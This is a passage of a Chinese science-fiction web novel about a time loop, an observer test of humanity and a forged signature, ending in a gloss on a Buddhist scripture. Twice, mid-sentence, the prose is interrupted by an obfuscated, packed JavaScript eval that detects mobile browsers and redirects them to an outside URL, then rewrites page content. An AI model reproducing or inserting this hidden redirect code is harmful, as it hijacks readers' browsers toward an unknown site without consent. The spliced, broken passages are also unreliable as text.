上次循环在火星之前又一次出现意外,太阳的虹膜在视野中扩张,像一只温柔的眼睛;怀从咎的灼痕与祝觉明的戒指共振交错,那声音无比像心跳。 所以太过于感情用事也会偏移。 这次循环他决定采用最直接的方案:不依赖AI,不修改协议,亲自进入高危区域进行维修;他穿戴全套防护装备,银白色外骨骼在通道灯光下反射冷硬光泽,面罩显示器流淌着能量矩阵的实时数据。陈启站在导航模块的隔离窗外看着他,手里捏着检测平板。 “博士,让我去吧。”陈启的声音透过通讯频道传来,带着年轻人特有的那种急切,“这是我的工作。” 祝觉明没有回头。他调试着手中的场稳定器、指尖控制面板上滑动,校准频率。数据流在面罩内侧滚动,显示模块底层的能量波动正在积聚——与之前九百六十三万次循环中的模式相似,但又有些微不同。 这一次的波动更集中,频率更高,像在等待什么。 “回监控室。”祝觉明没有回头,“执行命令。” “可是——” “没有可是。” 陈启沉默。祝觉明从面罩的反光里看见他低下头无意识地摩挲平板边缘,那个动作他见过太多次、在每一次循环的起点,在每一次死亡的前奏。年轻人总是这样,把责任看得比命重,把承诺当作不可违背的誓言。 祝觉明推开内舱门。 能量矩阵的核心区域呈现在眼前。六边形舱室,墙壁嵌满晶体阵列,中央悬浮着耦合器的磁约束能量球,靛蓝光芒规律脉动;地面上散布着维修工具,还有上次循环中AI机器人留下的残骸——钛合金骨架扭曲变形,电路板裸露,像机械生物的尸体。 他走向波动源头。 第七号耦合器侧下方的供能线路绝缘层已有些老化,在之前的循环中这里的微放电引发了连锁崩溃;祝觉明蹲下,打开检修盖板,内部结构暴露出来:导线束交织如血管,绝缘材料表面已经泛黄龟裂、细小的电弧在裂缝间跳跃,蓝白色,像濒死神经的最后颤动。 他举起场稳定器。 设备启动时共振频率与能量波动逐渐同步。面罩显示器上的读数开始下降,百分之三百,二百七十,二百四十……波动被压制,电弧熄灭、绝缘层表面的龟裂在稳定场的作用下缓慢弥合。 成功概率升至百分之八十九。 就在这时,他听见背后传来气压阀开启的嘶响。 祝觉明转头。陈启站在内舱门口,没穿防护服,只着普通工作服,手里拿着绝缘胶带和焊接器。 “我说了让你回去。”祝觉明蹙眉,声音失真而冰冷,“你怎么回事?” “您一个人太危险。”陈启走进来,脚步很轻,像怕惊扰什么,“两个人配合更快。我处理外层,您稳定核心,这样能在下次能量潮汐前完成。” “能量潮汐还有十七分钟。” “够用。” 陈启已经开始动作。他蹲在祝觉明对面,熟练地剥离损坏的绝缘层,露出下方导线。他的动作很稳,每个步骤都符合规程——太符合了,像演练过无数遍。祝觉明看着他,忽然意识到一件事: 在之前的循环中,陈启从未在他维修时闯入。 这是新的变量。 为什么? 显示器上能量读数突然跳升。 百分之五百。 祝觉明抬头。耦合器的磁约束能量球开始不规则脉动,靛蓝光芒变得刺眼,晶体阵列与墙壁一同震动;陈启也感觉到了,他停下手仰头看着能量球,第一次露出困惑的神情。 “不应该啊……”他低声,“我计算过负载……” “出去。”祝觉明站起来,场稳定器的功率推到极限,尖锐的如同如嘶吼,“现在。” 陈启没动。他盯着能量球眼睛瞪大,瞳孔里映着那团越来越亮的蓝光;他似乎在计算什么,尔后他笑了。 那笑容很淡,转瞬即逝,但祝觉明看见了。那不是年轻人莽撞的笑,不是完成任务时的欣慰,是更复杂的东西,混杂着释然、歉疚,还有深沉的疲惫。 “博士。”陈启声音平静得可怕,“您知道吗,有时候我觉得这一切都发生过。” 30. 赴日同归 能量球炸开。 靛蓝色光芒如海啸般淹没整个舱室,晶体阵列在过载中碎裂,碎片悬浮、折射出千万个变形的世界;祝觉明感到外骨骼在解体,场稳定器爆出火花,面罩显示器被乱码覆盖。 他被冲击波掀飞,后背撞上墙壁,肋骨传来清晰的断裂声。 视野开始模糊。 他看见陈启站在原地,站在光芒中心。年轻人的身体在强辐射中开始分解,工作服化为飞灰,皮肤剥落,肌肉纤维如风化的丝线般散开。但他的脸还完整,眼睛还睁着,看向祝觉明,嘴唇翕动,说出最后一句话: “告诉老大……这次不是他的错。” 他消失了。 彻底毫无残留地,化为光的一部分。 能量读数归零。 舱室陷入死寂。 祝觉明躺在地上,外骨骼支离破碎、面罩裂开,空气涌入带着焦糊味。他试着移动,左腿没有反应,脊柱传来剧痛——应该是骨折了。他咳了一声,血沫从嘴角溢出,在零重力环境中凝成红色的珍珠,悬浮飘散。 他还活着。 但陈启死了。 第七百九十四万次死亡。 ……七百九十四万? 祝觉明闭上眼,他忽然理解了那个笑容的痛苦;陈启知道,他一直都知道自己会死,知道循环、知道这场测试的本质。 他选择在这一次以这种方式,主动踏入光芒。 为了什么? 为了证明自由意志存在? 为了给怀从咎一个交代? 还是单纯因为累了,不想再重复每次次不同死法? 没有答案。 ……也不会有答案。 对吧。 医疗舱的灯光苍白刺眼。 祝觉明醒来时发现自己固定在治疗床上,全身插满管线,生物监测仪在床头规律作响;肋骨已经接好,脊柱注射了再生凝胶,左腿打着固定支架。疼痛被药物压制,只剩钝钝的麻木感,像身体不再属于自己。 他转过头。 苏持风站在床尾,穿着监察长制服,但领口松开,头发有些凌乱。她手里拿着一份数据板,指尖在屏幕上滑动,速度很快,但动作僵硬。 她的脸色很难看,眼眶下有深重的阴影。 ……这又是哪一次循环? 怀从咎站在她面前。 他背对祝觉明,右手抬着,掐住苏持风的脖颈、拇指抵在她喉结下方;苏持风没有挣扎,只是仰着头,呼吸艰难。 数据板从她指间滑落,撞在地上,屏幕碎裂。 “再说一遍。”怀从咎的声音低的像从地狱爬出来,“名单是谁给你的?” 苏持风的嘴唇翕动,但发不出声音。她的脸开始涨红,眼球凸出,手指无助地抓挠怀从咎的手腕、留下浅红色的抓痕。 祝觉明想说话,但喉咙里插着呼吸管。他只能看着,看着怀从咎的背影、看着苏持风渐渐涣散的眼神。医疗舱的灯光在那一刻变得怪异,像透过多层玻璃折射,产生重影。 他看见两个画面重叠。 眼前是愤怒的怀从咎逮着苏持风问话,同时在另一个维度他被投射出聂谊生。 在纯白色的空间里,面前悬浮着半透明的控制界面、界面上流淌着无数数据流,其中一条标注着“怀从咎情绪熵值”;旁边有滑块,数值显示为96.7。 聂谊生在微微调整,像微雕。 随着他的调整,医疗舱里怀从咎的呼吸变得更加粗重,掐住苏持风的手又收紧一分。 苏持风终于挤出声音,嘶哑破碎: “名单……是聂长官给我的……他说必须让怀从咎恨你……” 怀从咎的手松了一瞬。 “为什么?”他的声音在颤抖,“为什么必须恨他?” “因为……”苏持风咳了几声,血丝从嘴角溢出,“因为恨产生的能量峰值……比悲伤更高……观测程序需要、需要极端的情绪波动…来校准共鸣体……” 她闭上眼,泪水滑落。 “我也是刚刚知道……他给我文件时…说这是最后一块拼图……” 怀从咎松开手。 苏持风瘫倒在地,捂着脖子剧烈咳嗽,每一声都像要把肺咳出来;怀从咎后退,背靠医疗舱的墙壁、慢慢滑坐下去。 他低着头,双手捂住脸,肩膀开始颤抖。 祝觉明挣扎着抬起还能动的右手,扯掉呼吸管。金属管划过喉道的疼痛让他闷哼一声,但他顾不上。他盯着那重叠的认知画面——聂谊生在白色空间里平静地关闭了情绪熵值的调整界面,转身看向祝觉明意识的方向。 两人的目光在虚空中对上。 聂谊生点了点头。 像在肯定什么。 尔后画面消失。 医疗舱重归正常,只有一个维度;但祝觉明知道了,他终于理解了那些“聂谊生消失”的循环。遗忘或记忆篡改都不足以形容观测者协议在保护界面者,当测试样本越接近真相、界面者就越透明,直至完全从认知中抹去。 这是免疫机制。 防止样本干扰界面者的工作。 也防止界面者对样本产生不必要的共情。 门滑开。 郭山错走进来,他看见地上的苏持风,看见瘫坐的怀从咎、看见病床上的祝觉明。他的表情没有任何变化,只有眼睛扫过全场。 “指挥官怀从咎,”郭山错开口朗读条例,“你涉嫌攻击监察长,违反基地安全法第七条。请配合调查。” 怀从咎抬起头。 他的眼睛通红,但没流泪;那是血管爆裂的前兆,是情绪过载的生理反应。他盯着郭山错忽然笑了,笑声干涩嘶哑。 “郭部长,”他一步步走过去,“你还记得聂谊生长官吗?” 郭山错皱眉:“哪位?” “聂谊生。联合政府太空作战部长官,本次计划的名义负责人。”怀从咎慢慢站起来,动作有些摇晃,“三年前火星竞赛的特别观察员,基地重建项目的总指挥。你的直属上级。” 郭山错沉默。他检索记忆,十秒后摇头: “没有这个人。联合政府太空作战部的现任长官是李崇明上将。三年前火星竞赛的观察员名单里也没有聂谊生这个名字。” 他说得很确定。 祝觉明闭上眼。 果然。郭山错也被影响了;不,或许从一开始,聂谊生就只存在于特定样本的认知中——他自己,怀从咎,苏持风,陈启……其他人都被隔离在外,像精心设计的舞台剧,只有少数几个演员知道导演的存在。 苏持风从地上爬起来,扶着墙,声音依旧嘶哑: “郭部长……调取……调取三年前的基地人员档案……加密级别七……” 郭山错看了她一眼,调出手持终端,输入指令。屏幕亮起,档案列表滚动。他搜索“聂谊生”,结果显示:零条。 “没有记录。”郭山错微笑。 “用我的权限……”苏持风报出一串代码,固执的要扔下答案。 郭山错输入。终端震动一下,屏幕闪烁,跳出红色警示框: “访问拒绝。该条目已被永久删除。删除者:总长办公室,删除时间:标准历217年3月14日。” 那是三年前,火星竞赛结束后第七天。 聂谊生从这个世界上被抹去的日子。 苏持风瘫坐下去,双手捂脸,肩膀开始抽动。她在哭,无声地哭,眼泪从指缝渗出、滴在地上,积成一小滩水渍。郭山错看着她,又看看怀从咎,最后看向祝觉明。 “祝博士,”他机械的走过来,“我需要解释。” 祝觉明张开嘴,但发不出声音。他的喉咙太痛,声带在强辐射中受损,现在只能发出气音:他抬手在空中虚划,想写出什么,但手指颤抖、无法成形。 怀从咎替他回答了。 “聂谊生是观测者的界面者。”他的声音很平静,平静得可怕,“他设计了这场测试,安排了所有牺牲,调整了我们的情绪……就为了收集数据,评估人类文明是否值得存续。陈启的死,苏持风的背叛,你的武器,我的直觉——全都在他的计算中。” 郭山错眉梢抬高了一毫米,嘴角绷紧了些许;但祝觉明看见了。这个永远坚固的人第一次显露出困惑,仿佛早就知道、又仿佛怀从咎猜错了。 “证据?” 怀从咎走向苏持风掉落的数据板,捡起来,屏幕虽然碎裂,但还能显示。 他调出那份“优化名单”,投射在空中。 文字滚动。 “样本H(怀从咎)需通过情感创伤催化,最佳催化剂为样本C(陈启)。催化时机需精确匹配宇宙弦相位,以最大化能量产出。预期痛苦深度阈值:8.7/10,低于此值需额外刺激。” “刺激方案A:目睹亲密关系对象死亡。” “刺激方案B:遭受信任之人背叛。” “刺激方案C:自身被定义为可牺牲单位。” 每条方案底下都有详细的执行参数,时间,地点,环境条件,甚至包括怀从咎可能出现的生理反应范围。 “数据将人的情感拆解成可量化的变量,将死亡设计成可重复的实验。” 怀从咎的灼痕开始发亮。 透过飞行服布料,暗红色光芒透出来,越来越亮,像埋着一颗即将爆炸的恒星;他的呼吸变得急促,胸膛起伏、眼睛死死盯着那些文字,每一个字都像刀剐着他的神经。 “这是我。”他指着“样本H”,“这是我的命,我的痛苦,我的价值;被简化成几行代码,几个参数。” 他又指向“样本C”。 “这是陈启。一个活生生的人,会笑会哭,有家人有梦想,死了九百六十三万次的人。在这里,他只是催化剂,是能量产出优化单元。” 他的声音开始颤抖。 “而这份文件的批准签名——” 文字滚动到底部。 签名栏里有两个生物标识。第一个是观测者的高维几何图案,无法解析。第二个,是人类生物签名频谱,系统在旁边标注了匹配结果: 祝觉明。 匹配度99.9%。 医疗舱陷入死寂。 怀从咎转头,看向病床上的祝觉明。他的眼睛里有什么东西在崩塌,不是愤怒、不是恨,是更深更彻底的瓦解;像一个人走了很久的路,以为终于看见终点,却发现那只是海市蜃楼,而脚下早已是悬崖。 “你从一开始就知道。”怀从咎每个字都像在滴血,“你知道陈启会死,知道我会痛苦,知道这一切都是计算。但你还在算,还在调整参数,还在寻找最优解。” 他走向病床。 郭山错拔出枪,暗银色手枪指向怀从咎:“停下。” 怀从咎没有停。他走到床边,俯身,双手撑在祝觉明身体两侧,脸贴近、呼吸喷在祝觉明脸上,温热血腥。 “博士,”他轻声,“在你的公式里,我到底是什么?变量、参数、还是值得你签下这份文件,同意让他们杀死陈启九百万次的……” “——实验对象?” 祝觉明想摇头,想说话,想告诉他文件末尾还有一行小字,想告诉他那签名是伪造的,想告诉他这一切都是聂谊生的局……但他发不出声音,只能看着怀从咎的眼睛,看着那里面燃烧的火焰渐渐熄灭、变成灰烬。 郭山错扣下保险。 机械声清脆。 “最后警告,指挥官怀从咎,退后。” 怀从咎直起身。他没有看郭山错,只是盯着祝觉明笑了。 那笑容空荡荡的,像被掏空了一切。 “我明白了。”他转了转手腕“既然人类没资格活下去……既然我们只是实验品,只是数据……那不如结束吧。” 他转身走向门口。 “你去哪里?”郭山错枪口跟随,“你要做什么?” “主控室。”怀从咎没有回头,“启动近日点号,飞向太阳。既然这场测试需要极端的情绪数据……那我就给他们最极端的。” 他推开门。 郭山错开枪。 子弹击中怀从咎左肩,穿透飞行服,血花炸开;怀从咎踉跄一步,但没有停。他继续走,血从伤口涌出、在走廊地板上拖出长长的红色痕迹。 郭山错追出去,枪口再次抬起—— “不要!”苏持风嘶喊,“回来……” AI警报炸响。 全基地范围的最高优先 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17174335|196873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 级广播沿着医疗舱的本地警报轰然炸响,林静渊的声音响起,平静又罕见的急促: “警告!清除高维意识共鸣体将直接导致宇宙弦校准失败。文明延续概率降至0.00%。重复,立即停止攻击行为。” 郭山错的手僵在半空。 怀从咎已经走进电梯。门闭合前他回头看了一眼医疗舱的方向,目光穿过长廊、落在祝觉明身上。那眼神复杂得难以解析——有恨、有痛,有不解……但最深处,还有一丝祝觉明从未见过的温柔的悲哀。 像在告别。 祝觉明想说你不知道这一切,想说自己真的已经在一次次回溯里力挽狂澜了、但显然自己做不到,无论如何修改还是偏离的十万八千里,最终一切被失望的观测者扣尽卷面分、扔进垃圾堆。 究竟是他用了林静渊的辅助ai太久,还是他早就该放弃自己作为人的思考? 他想模拟机械模拟系统模拟那些没有任何情感的说出近乎冰冷的法则说出不是什么不是什么而是什么,可他拼尽全力还是隔着一层障蔽、因为他有血有肉,因为他最终还是人。 ……所以呢, 你告诉我现在是哪一次轮回之中,告诉我在我穿行的舰桥隧洞中我又在哪一步踏入不一样的循环;你告诉我你那些曾想杀了我曾想接近我的友好或亲密算什么,算我无视你的情感尽力屏蔽那些干扰想算出最合理的路,然后发现自己比不过那些格式化的统一吗? ……这是人类的答卷,也是我的答卷。 从一开始,从逐日庆典,从我和观照达成交易。 如果我能让观测者满意,如果我证实不靠那些下坡路不靠前人走过无数次已经要把桥梁踏断的所谓标准、却依然能通过答辩,那么人类文明就还有救,因为新的思想会出现在废墟之上,会与无数自创的星光汇成先河; 如果我不能,如果我失败,那才是真的艺术、如果我依旧籍籍无名潦草此生,那才是真的天神下凡都拉不回世风日下的江河。 “这世界上本没有路,走的人多了,却也成了路。” ……其实这话还有下半句。 “但一条路走的人太多,若是拓展、向上、人人登神尚可;若是日益固化、僵硬、将通往前方的答案越限越窄,” “——那便不是路,是锁,是困宥游鱼入不了龙台的窄门。” 那么多人都幻想自己能救世,幻想自己终要冉冉升起,却只有我敢说我真的去创世; 因为没有人知道问题的本源在哪里运转的死限又要如何解决,而我知晓。 ——让百花齐放,让群星辉煌。 让原创的思想沿不同的轨迹蔓延出纷飞的姿态,让人惊艳的勇气与绝不后退的意志在日光之下不衰长存。 让德不配位又抄袭答卷的考生认清现实见好即收,引迷茫犹豫不知是否要踏上此路者走向想行之路。 这就是我千百次尝试的意义。 我死,但我要留下绝唱。 后来者定有超越我思想又真的可成为领头羊者; 那时我要留下…… 辛辣刺激或矫揉造作,怯懦轻言或鞭辟入里, 都是不同的言语在留下年轻的火花,无论有朝一日能否燎原,其存在、其真实。 不要忽略这些火苗与新芽。 我的观照即我自己,我与我相识于世界之前; 我的四轮构成我捧出的全部的我,我实践死板的路成不了任何意义,于是我要死地绝生。 这就是我的答卷—— 你承认你的死亡,或你接纳我带来的新生。 ——— 电梯下行。 “安保部全体,”郭山错放下枪,调出通讯频道 “安保部全体,目标怀从咎、目的地主控室。非致命拦截,重复,非致命拦截。” 他追出去。 医疗舱里只剩祝觉明和苏持风。苏持风爬过来,爬到床边,握住祝觉明的手;她的手很冷,在发抖。 “博士……”她哽咽,“文件末尾……还有一行小字……我刚刚看到……” 祝觉明用尽全力,握了握她的手。 他知道。 “注:此方案为初始草案,后续已修正。修正方向:取消主动催化,转为观察自然演进。批准人:祝觉明,聂谊生(代观测者签署)。” 但怀从咎没有看到。 他只看前半部分,只看到那个伪造的签名,只看到自己被量化、被物化、被设计好的痛苦。 足够了。 足够摧毁一个人。 足够让他选择毁灭。 祝觉明挣扎着坐起来,扯掉身上的管线。监控仪发出尖锐警报,但他不管;他踉跄下床,左腿的固定支架让他行动艰难,但他扶着墙,一步一步挪向门口。 “博士,你要去哪?”苏持风想扶他,“您现在……” 祝觉明推开她。 他用眼神示意: “——控制室。” 他要去找怀从咎。 在他做出无法挽回的事之前。 聂谊生是妄境,是因果的累计,是观测者在地球的对接者,也是除了怀从咎和陈启、唯一与祝觉明同一立场的人; 苏持风动摇不定,郭山错站观照(观测者),林静渊袖手旁观静待其变,聂谊生才是帮祝觉明的人。 他不管这又是哪条线了,他只能很抱歉的代替怀从咎先向苏持风道歉;无论如何即使被控制了也不能对女孩子下手,虽然他看得出来怀从咎只是想掐着她要答案、没打她没骂她也没想弄死她。 那也不行。 “你留在这,”祝觉明笑了一下,“如果有人来,代我拦住他们。” “抱歉,苏持风,让你也走了太多次这条艰难的路。” 苏持风坐到病床上,看着瘦弱到摇摇欲坠的祝觉明。 那是她所见的最后的他,他们第一次相见还是十年前,在联合组织报道。 那时的他年轻、精神、眼里是意气风发的光; 如今的他已经被折磨的枯槁沉默,却依旧将自己收拾的干净体面。 尔后爆炸摇塌天穹,所有人听见同一句话: “一人于一劫中生死轮转,积累白骨不腐坏者,如毗富罗山。” 31. 静滞之门 主控室的门被暴力破开。 怀从咎站在中央控制台前,右手在面板上快速操作,左手垂在身侧,血顺着指尖滴落,在地上积成一小滩。安保人员围在门口,枪口对准他,但没有人敢上前——郭山错站在最前面,手按在枪上,但没有举起。 “怀从咎,”郭山错停在他身后“停止操作。你现在的行为等同于叛变。” 怀从咎没有理会。他输入最后一道指令,控制台亮起,全息投影展开,显示近日点号的启动序列。燃料填充,引擎预热,导航校准……进度条快速推进。 “我说过,”怀从咎声音透过控制室的广播传出,平静得异常,“既然这一切都是测试,都是实验……那不如让我们自己决定结局。” 他转身,看向门口。 目光穿过安保人员,落在祝觉明身上。 祝觉明扶着门框,喘着气,脸色苍白如纸。他的左腿无法承重,全靠右腿和手臂支撑;每呼吸一次,肋骨都传来剧痛。 但他站着,看着怀从咎,用尽力气摇头。 不要。 怀从咎笑了。 “博士,”他走近人,目光顺着人淌下的血泊爬过人小腿、小臂、腰侧……直至停在人面庞上,“你知道吗,在那些循环里,有一次你告诉我真相。你说你在尝试救我,救陈启,救所有人;你说你签了那份文件,是因为聂谊生威胁你,如果不签,他会直接启动格式化程序,抹杀整个人类文明。” 他走向祝觉明。 安保人员紧张起来,枪口跟随。郭山错抬手,示意他们不要开枪。 怀从咎走到祝觉明面前,停下。两人相距不到一米,能听见彼此的呼吸,能看见对方眼睛里倒映的自己;怀从咎抬起没受伤的右手,轻轻碰了碰祝觉明的脸颊,动作很轻,像触碰易碎品。 “我相信你。”他轻声,将人搂到怀里,“我相信那时的你。但这一次你没有告诉我,你让我自己发现,让我自己崩溃,让我自己走到这一步。” 他的手下滑,握住祝觉明的手腕。 “既然这是你们想要的极端数据……”怀从咎拉着他,转身走向控制台,“那我就给你们最极端的。” 他将祝觉明按在副驾驶座上,自己坐进主驾驶位。安全带自动扣死,锁定。控制台发出提示音:“双人操作模式已激活。请确认最终指令。” 怀从咎的手指悬在确认键上。 他看向祝觉明。 “最后一次机会,博士。”他无视了身后僵化的郭山错,“告诉我,在那些九百六十三万次循环里,有没有一次……你是真心想救我,而不是为了数据,不是为了文明存续,只是单纯因为……我是我?” 祝觉明想说话,想告诉他每一次都是真心,想告诉他那些循环里积累的情感早已超越计算、想告诉他那座白骨山也是他的忏悔,他的执念,他无法说出口的爱。 但喉咙里只能发出气音。 嘶哑破碎。 怀从咎等了三秒。 然后他笑了,那笑容温柔得令人心碎。 “没关系。”他揉了下祝觉明发,“不用回答。我已经知道答案了。” 他按下确认键。 控制台发出轰鸣。近日点号的主引擎点火,震动从船坞传来,透过地板传递全身;舷窗外固定臂松开,飞船缓缓滑出泊位,驶入黑暗太空、地球在后方缩小,变成一颗蓝色的光点。 怀从咎推动操纵杆。 航线校准。 目标:太阳。 推进器功率推到百分之百,然后继续推到百分之一百二;超载警报响起,但他无视。 飞船加速,冲向那片炽白的光海。 祝觉明看着控制台上的导航图。航线笔直,对准太阳中心,预计撞击时间:四十七分钟后。 生存概率:0.00。 飞船通讯器突然自主激活,传出聂谊生的声音,这次所有人都能听见: “警告:自杀性撞击将触发协议9——界面者强制介入。” “聂长官?!您还活着?”郭山错惊愕的抬头,“现在……” 聂谊生的声音剥离了所有情感,只剩机械: “身份更正:我不是聂谊生,我是观测者集合体与人类文明的交互界面,代号妄镜。当前测试进度:96.7%。建议: ——停止自我毁灭,进入最终答辩环节。” 祝觉明低下头,笑了一下。 聂谊生,或者说妄镜主动暴露,是因为怀从咎的主动赴死超出了观测程序预测;这是计划外的自由意志表现,触发了更高层协议。 他没有再阻拦怀从咎,只是偏头,在日光逐渐耀目时靠到了肩头。 很久以前我曾拥抱过你,在我最心碎绝望的时刻; 你那时信任我,我那时也在意你,我们曾经是彼此选择的同伴。 现在我明白了,我对你的不是狭义的爱,是我从你身上看见了我自己,觉明为咎、你就是我的那个谬误。 那么在这个世界中,陈启是火轮,带来淬炼与转化,对应“故有火光,为变化性”;他的基因被标记为最佳催化素,因其生命能量为火,最是纯粹炽热。 所以他注定牺牲、淬炼,以带来能量的极端转化; 他的生命被“宇宙弦扰动”吸引、吞噬,完成对怀从咎意识火的点燃。 苏持风是风轮,带来动摇与动能,对应“相待成摇,故有风轮”;她代表计划最初的动力、传播与变数,她作为计划监察长表面冷静,实则内心动摇最大、也是她最早怀疑计划的道德性,成为信息的裂口与情绪的传导者。 所以她私下调查牺牲名单,是怀从咎得知真相的关键渠道。 在怀从咎暴怒时她主动说出真相,承受其怒火、以自身动摇催化了最终对峙,如风般消散。 而郭山错是金轮,带来坚固与法则,对应“明觉立坚,故有金轮”。他是计划的框架、冰冷不可动摇的秩序法则,是计划安保与执行总长,祝觉明模型的坚定捍卫者;他认为情感是杂质,信任祝觉明的计算如同信任物理、他冷酷执行每一次优化指令,是祝觉明理性最外显的刀。 在最终循环中,为维护计划框架试图清除失控的怀从咎,反被怀从咎破碎的直觉反噬,秩序在此破碎。 他也是最早异化的。 最后的林静渊是水轮,带来容纳与融合,对应“故有水轮,含十方界”。她代表信息的承载、意识的融合与最终的调和;她是“先知”AI的初级创造者,神经链接学泰斗、她设计的基础协议,是AI产生“沉默共情”的根源。 但她早已瘫痪,意识接入系统,是AI母体; 她安静的观察一切,是真相的静默承载者。 祝觉明曾在一次轮回中见到,在AI超载启动时间气泡时,她的意识作为容器与润滑融入其中,以自身存在调和了机器与人性、数据与情感,保障气泡的稳定。 而聂谊生是第五轮——“空轮”,或可以称为“镜轮”。 他映照出四轮的极端化——风之动摇、火之牺牲、金之冷酷、水之沉默。 他的存在证明:妄能的极端对立,需要一面“镜子”来显化。 于是祝觉明意识到自己在与自己面对面,注意到了他。 起初他被所有人遗忘,他是牺牲者/被抹除者; 其中他存在于隐藏记录,他是幕后黑手; 于末他是观测者接口,他是翻译器/工具; 最终他曾是人类,留有人性备份,成为连接文明的桥梁。 他双耳+双听人类心声,听观测者指令,言适宜指令,作为翻译器; 他是人类与高维意识的混生视觉符号,他的全息影像总是半透明,象征“界面”的双向通透性。 他们共同构建完整真相。 表层是祝觉明对抗循环,拯救陈启,修复与怀从咎的关系、以一起拯救人类; 深层是祝觉明对抗被设计感,发现聂谊生的存在,破解观测者的测试逻辑。 或者说,祝觉明终于学会了与另一半自己相与,也知道了自己该如何选择: ——来击毙我,来追杀我,来将我的一切绞碎、再踩着我的血肉成为高塔。 我来成为奠基者、引路人,我与你成为完整的紫微星,在群星之中携所有信徒一同飞升; 你且尽管将我千刀万剐、谩骂至罄竹难书,你尽管审问我质疑我,我坦然接受所有我的谬误带来的千万次重复的痛苦。 直至我麻木,直至我清醒,直至我可以强大到相信自己能扛起这一切、依然与你一同前行; 我不会抛下我过去的行差踏错,我永远铭记我曾经的败笔,不逃避、不否认,因为年轻时的我那时已经做到了尽力。 太阳的虹膜在视野中扩张,像一只温柔的眼睛;怀从咎的灼痕与祝觉明的戒指共振出蜂鸣,那声音很像心跳。 在撞击前0.1秒,AI超载启动;林静渊的平静女声响起: “检测到矛盾统一体雏形……启动最终协议。” ——时间静止。 祝觉明睁开眼,怀从咎还搂着他,示意他就靠着自己。 “我说的那些你都听见了吧。” “听见了。” 【觉明为咎。所既妄立,生汝妄能。无同异中,炽然成异。异彼所异,因异立同。同异发明,因此复立,无同无异。如是扰乱,相待生劳。劳久发尘,自相浑浊。由是引起,尘劳烦恼。起为世界,静成虚空。虚空为同,世界为异。彼无同异,真有为法。觉明空昧,相待成摇,故有风轮执持世界。因空生摇,坚明立碍,彼金宝者,明觉立坚,故有金轮保持国土。坚觉宝成,摇明风出,风金相摩,故有火光为变化性。宝明生润,火光上蒸,故有水轮含十方界。火腾水降,交发立坚,湿为巨海,干为洲潭。以是义故,彼大海中,火光常起,彼洲潭中,江河常注。水势劣火,结为高山。是故山石,击则成焰,融则成水。土势劣水,抽为草木。是故林薮,遇烧成土,因绞成水。交妄发生,递相为种。以是因缘,世界相续。】 本然觉悟与觉性无需再刻意明察,强加认知反而背离本体,此即根本无明;由此“妄能”(分别能力)与“妄境”(所认知对象)对立而生,打破原本“无同异”的绝对状态,陷入“同—异—非同非异”的逻辑循环。 整个故事,是“觉明为咎”这一宇宙错误的宏大示现与修正。 “观测者”的过滤机制,即是宇宙“觉性”对自身衍生出的“妄能世界”(人类文明)的自我审视与净化程序;我与你的的旅程,就是心识从“对立”回归“一体”的修炼。 “观测者”并非外在神明,而是宇宙本源“觉性”的自我维护程序,旨在清除因“觉明为咎”而产生的过于失衡的“妄动”文明(即陷入极端对立、无法协同的文明)。 人类文明诊断书即是人类意识整体处于“同异发明,因此复立,无同无异”的重度混乱与自我消耗阶段,被判为需要格式化的“精神熵增癌变体”。 “火种计划”终极目的,就是总长“观照”领悟到,真正的“作弊”不是表演完美,而是为人类文明这个混乱的“集体心识”,注入稳定、和谐、达成“无同无异”状态的“心智原型”。 祝觉明与怀从咎,正是被选中的可能孕育出这个“原型”的种子。 所谓“觉性本明却强加认知,就成了过错”。能认知的“妄心”一旦建立,就生出各种虚妄的功能、在原本没有“同”和“异”的真心之中,剧烈地分别出差异。差异的对象确立后,又因差异而相对建立“相同”。同与异相互对照显现,进而又衍生出“既非同也非异”的概念。如此纷扰错乱,相互对待而产生烦劳;烦劳持久就衍生尘垢,彼此混杂染污。由此引发种种尘劳烦恼:扰动就成为世界,寂静就成为虚空。虚空代表“同一性”,世界代表“差异性”;而那个超越同异的根本,才是真实存在的法性。 本明的觉性混入空暗,相对作用产 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17174336|196873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生动摇,因而有风轮执持世界; 因为虚空生动摇,坚固的认知凝成障碍,那些金属宝藏,是从明觉中立起坚固性,所以有金轮保持国土。 坚固的觉性成就宝质,摇动与光明产生风,风与金相互摩擦,因而有火光具备变化特性。 宝体的明净产生湿润,火光向上蒸腾,所以形成水轮包含十方世界。 火上升水下降,交互作用确立坚固,湿润处成大海,干燥处成洲潭。 因此大海中常起火光,洲潭中江河常流。 水势弱于火时,凝结成高山,所以山石相击能生火焰,融化则成水。 土势弱于水时,抽出为草木,所以丛林焚烧成土,挤压则渗出水。虚妄交互作用,相互为因,由此因缘,世界不断相续。 风轮即心识动摇,动能(风)是基本动力层; 金轮即坚固执念,金属性是大地结构; 火轮即摩擦对立,火是能量与变化; 水轮即冷热交互,水是凝聚与流动。 在互生循环中,“交妄发生,递相为种”是关键:虚妄元素相互依存、互为种子(如草木焚土、土压出水),说明现象界无独立自性,本质是因果交织的幻相续流。所谓“世界相续”,正是妄念相续的投射。 在破妄归真中,认识世界本质是“觉明”颠倒的产物,方能超越对“同异”“动静”的执着。 在观照心源中,山河大地皆是“妄能”展演,修行须逆返至“无同异”的真心本体。 在中道智慧间,不落“空有”二边:世界虽幻,因果不虚;虽因果相续,本体寂然。 